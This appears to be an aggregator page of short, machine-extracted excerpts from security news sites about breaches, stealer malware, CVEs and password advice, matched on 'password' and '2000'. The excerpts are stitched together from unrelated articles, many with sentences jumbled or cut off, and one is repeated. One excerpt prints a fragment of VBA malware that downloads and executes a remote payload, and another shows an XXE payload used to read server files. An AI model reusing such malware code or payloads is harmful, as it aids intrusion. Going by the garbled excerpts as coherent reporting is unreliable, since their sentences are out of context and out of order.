Krebs on Security

APRIL 7, 2020

Domain experts called corp.com dangerous because years of testing showed whoever wields it would have access to an unending stream of passwords, email and other sensitive data from hundreds of thousands of Microsoft Windows PCs at major companies around the globe. This week, Microsoft Corp.

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Krebs on Security

AUGUST 11, 2022

There are no passwords in the database. There are very few records in this file with dates of birth after 2000. The largest item in the archive is a 3.6 gigabyte file called “dbfull,” and it contains 28.5 million records, including 22.8 million unique email addresses and 23 million unique SSNs.

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Mobile Internet Internet Accountability 55

CyberSecurity Insiders

JUNE 20, 2022

A study that included a response from about 2000 respondents also confirmed that on average a hacking person was found using the internet of their neighbor without permission for a time frame of 52 days, while over 20 people were found using the connection all year long. Change the default router password.

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Security Affairs

JULY 15, 2021

SonicWall also provides recommendations to customers that can’t update their installs, the vendor suggests disconnecting devices immediately and reset their access passwords, and enable account multi-factor authentication, if supported. immediately Reset passwords Enable MFA. continues the alert. 34 or 9.0.0.10 x firmware versions.

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Malwarebytes

JANUARY 10, 2024

From today until December 31, 2023, the price for a subscription to Atomic MacOs Stealer is only $2000. This will allow Atomic Stealer to collect passwords and other sensitive files that are typically access-restricted. It’s not just passwords that are of interest to cyber criminals. Happy New Year!

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Security Affairs

SEPTEMBER 28, 2023

Google also addressed this month the following vulnerabilities in the Chrome browser: [$TBD][ 1478889 ] High CVE-2023-5186: Use after free in Passwords. Reported by [pwn2car] on 2023-09-05 [$2000][ 1475798 ] High CVE-2023-5187: Use after free in Extensions.

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SecureList

DECEMBER 13, 2023

This includes the “winnt” folder, which is only present in Windows 2000. The initial version, written in Go, had typical stealer features, such as stealing passwords, files, browser data and so on. It also created fake password prompts in an attempt to obtain the system password.

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Security Affairs

OCTOBER 17, 2023

The Sandworm group (aka BlackEnergy , UAC-0082 , Iron Viking , Voodoo Bear , and TeleBots ) has been active since 2000, it operates under the control of Unit 74455 of the Russian GRU’s Main Center for Special Technologies (GTsST). ” reads the advisory published by the CERT-UA.

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Krebs on Security

JUNE 25, 2019

com 2000-08-24 ALIBABA CLOUD COMPUTING (BEIJING) CO., For the remainder of this post, we’ll focus on the bolded domain names below: Domain Name Create Date Registrar. 2333youxi[.]com com 2016-02-18 ALIBABA CLOUD COMPUTING (BEIJING) CO., com 2012-11-26 ALIBABA CLOUD COMPUTING (BEIJING) CO., blazefire[.]com blazefire[.]net

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Security Affairs

SEPTEMBER 19, 2022

“It is found that our wireless products, FLEXLAN FX3000/2000 series, have a firmware vulnerability. There are possibilities of data plagiarism, falsification, system destruction, and malicious program execution if this vulnerability was exploited by malicious attackers who can access to this private webpage (with passwords information).”

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The Last Watchdog

OCTOBER 15, 2018

In that caper, criminals got away with Social Security numbers, passwords, and in some cases, fingerprints. The OPM breach put most federal workers since the year 2000 are at risk. You’ll recall that in the OPM breach , the cyber intruders stole a a staggering amount of highly sensitive information – deep personnel records for 21.5

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Risk Government Cyber Attacks Passwords 133

Security Affairs

FEBRUARY 4, 2024

Clorox estimates the costs of the August cyberattack will exceed $49 Million Mastodon fixed a flaw that can allow the takeover of any account Iranian hackers breached Albania’s Institute of Statistics (INSTAT) Operation Synergia led to the arrest of 31 individuals Ex CIA employee Joshua Adam Schulte sentenced to 40 years in prison Cloudflare breached (..)

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Duo's Security Blog

FEBRUARY 8, 2021

Setting Up an Instant Unique Login Then we want to set a password for that registered citizen account, because in order to deliver the service, we are asking for some personally identifiable information (PII) that we now need to protect as best we can. Yes, we know they’re probably going to reuse the password they remember best.

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Security Affairs

AUGUST 20, 2023

Over 3,000 Android Malware spotted using unsupported/unknown compression methods to avoid detection WinRAR flaw enables remote code execution of arbitrary code #OpFukushima: Anonymous group protests against the plan to dump Fukushima RADIOACTIVE wastewater into Pacific Massive phishing campaign targets users of the Zimbra Collaboration email server (..)

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Security Affairs

OCTOBER 1, 2019

ServerXMLHTTP") WinHttpReq.setOption(2) = 13056 ' Ignore cert errors WinHttpReq.Open "GET", droppingURL, False ', "username", "password" WinHttpReq.setRequestHeader "User-Agent", "Mozilla/4.0 Private Sub DownloadAndExecute() Dim droppingURL As String Dim localPath As String Dim WinHttpReq As Object, oStream As Object Dim result As Integer.

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Malwarebytes

JULY 15, 2021

The notice mentions the following products along with recommended actions: SRA 4600/1600 (EOL 2019) disconnect immediately and reset passwords. SRA 4200/1200 (EOL 2016) disconnect immediately and reset passwords. SSL-VPN 200/2000/400 (EOL 2013/2014) disconnect immediately and reset passwords. 34 or 9.0.0.10

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Security Affairs

AUGUST 9, 2022

The CVE-2017-11882 flaw is a memory-corruption issue that affects all versions of Microsoft Office released between 2000 and 2017. Gathered files were packed into password-protected ZIP archives, then they were sent to one of the stage one malware C2 servers, which are located in different countries of the world.

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Encryption Antivirus Malware Hacking 126

Malwarebytes

OCTOBER 22, 2021

Before the year 2000, lots of computer programs kept track of the year by remembering the last two digits instead of all four. Authentication mechanisms such as Time-based One-Time Password (TOTP) and Kerberos also rely heavily on time. through 3.22. If you don’t remember the Y2K bug, let me remind you quickly.

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Adam Levin

JULY 8, 2020

Far from being jealously guarded assets with Fort Knox-level security, a new study of Forbes Global 2000 Companies suggests many domain names are imminently hackable. It should include an inventory of who can access registrar accounts, implementation of two-factor authentication, and password hygiene checks.

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Herjavec Group

AUGUST 26, 2021

1962 — Allan Scherr — MIT sets up the first computer passwords, for student privacy and time limits. Student Allan Scherr makes a punch card to trick the computer into printing off all passwords and uses them to log in as other people after his time runs out. She connects him to any phone number he requests for free.

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Krebs on Security

JUNE 25, 2019

com 2000-08-24 ALIBABA CLOUD COMPUTING (BEIJING) CO., For the remainder of this post, we’ll focus on the bolded domain names below: Domain Name Create Date Registrar. 2333youxi[.]com com 2016-02-18 ALIBABA CLOUD COMPUTING (BEIJING) CO., com 2012-11-26 ALIBABA CLOUD COMPUTING (BEIJING) CO., blazefire[.]com blazefire[.]net

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Security Affairs

SEPTEMBER 29, 2019

Thinkful forces a password reset for all users after a data breach. Study shows connections between 2000 malware samples used by Russian APT groups. Portugues hacker faces hundreds of Charges in Football Leaks case. Portuguese hacker faces hundreds of Charges in Football Leaks case. APT or not APT? The Dumb-Proof Guide.

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Security Affairs

SEPTEMBER 21, 2022

Sandworm (aka BlackEnergy and TeleBots ) has been active since 2000, it operates under the control of Unit 74455 of the Russian GRU’s Main Center for Special Technologies (GTsST). Multiple security firms have reported that the Sandworm APT continues to target Ukraine with multiple means, including custom malware and botnet like Cyclops Blink.

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Security Affairs

AUGUST 13, 2019

” The author is offering the malware for rent at a price of $2000 for 1-month use, $7000 for 6 months and up to $12,000 for an entire year. The malicious code users overlay attacks to steal sensitive and financial data from the victim, including credit card numbers, banking credentials and passwords for bank accounts.

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Security Affairs

AUGUST 23, 2018

released in November 2000), and is easier to exploit than previous OpenSSH username enumerations (which were all timing attacks):” The flaw could allow an attacker to guess valid usernames registered on an SSH server, then to launch brute-force attacks to guess the password.

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eSecurity Planet

MAY 25, 2022

For users familiar with password management and the value of complex passwords, this makes sense. Users can establish a symmetric key to share private messages through a secure channel like a password manager. The longer and more complex the encrypted message is, the longer it’ll take to decrypt.

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Encryption Computers and Electronics Password Management Passwords 138

IT Security Guru

JANUARY 28, 2021

Don’t share your corporate password with others: 12% of respondents admitted doing this. This survey was conducted with 2000 US and UK remote workers in December 2020. Don’t download personal applications onto a company device: 23% of respondents admitted doing this. About the survey.

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SecureList

SEPTEMBER 3, 2024

The backdoor hooks the password authentication function to allow the attacker to use any username/password to log in to the infected server without any further verification. The attackers also used a tool called “TomBerBil” to steal passwords from browsers. It does the same with public key authentication.

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Security Affairs

NOVEMBER 29, 2018

Back in 2000, every aspiring student wanted to become computer /IT engineer, thanks to “.com” Password – phantompain. Docker is a popular container product which has been adopted widely by the community. IT industry has seen quite a few transformations in last couple of decades with advent of disruptive technologies.

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SecureList

DECEMBER 29, 2020

Corporate accounts in databases of leaked passwords. If employees use compromised passwords for external services as well as for corporate resources, that information can be used to gain unauthorized access to those resources. Vulnerable networks. Data leaks. Lack of security updates. Bad network service configuration.

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Security Boulevard

OCTOBER 21, 2022

As with user password rotation, so too should keys and certificates be replaced, and rogue ones deleted in an expedited manner—and this must be done faster than an adversary can add new ones. They prey on the knowledge that most Global 2000 organizations do not have a clear grasp of security related to keys and certificates.

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eSecurity Planet

DECEMBER 7, 2023

Users can establish a symmetric key to share private messages through a secure channel, like a password manager. Symmetric encryption is often used for drive encryption, WiFi encryption, and other use cases where speed performance is paramount and a password can be safely shared.

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CyberSecurity Insiders

JANUARY 16, 2022

Some of the most rewarding moments in my career were working for ITT Systems Division as a civilian contractor in Afghanistan and Iraq in the mid-2000’s. What has been the most satisfying moment in your professional career? Cyber security is everyone’s job, not just security professionals.

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Security Affairs

OCTOBER 20, 2018

Although LFI was interesting to grab some sensitive files since XML can’t handle binary data it was not possible to dump the SQLite database to get usernames and passwords. %dtd; ]> <requests> <request href=”/api/2.0/rest/3rdparty/facebook/” for the file XXE_CHECK. Netgear Stora. Seagate GoFlex Home. Medion LifeCloud.

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eSecurity Planet

JUNE 17, 2021

With the EDB PostgreSQL Advanced Server, clients gain features like password profiles, enhanced audit logging, and data redaction. Features include automated discovery, port scans and patch status, password integrity , and protections for database-specific risks. Google Cloud Platform (GCP). Microsoft Azure.

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Firewall Encryption Computers and Electronics Software 121

Spinone

JULY 29, 2019

In the Role account field, type the email address and password of the role account on your mail server. For example, it may take an hour to move 2000 emails. In the Connection protocol field, chose Exchange web services. There will appear a new field where you need to put a web address of the migrating Outlook account. Press Connect.

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Backups Accountability Mobile Cloud Migration 72

ForAllSecure

MAY 25, 2021

Back in 2000, it was just Black Hat USA followed by DEF CON, and only a handful of people knew about it. Passwords : Make sure you have strong passwords on your phone, on your laptop, on all your apps and services. I was once in the press room at Black Hat when my colleague’s unencrypted password was hacked.

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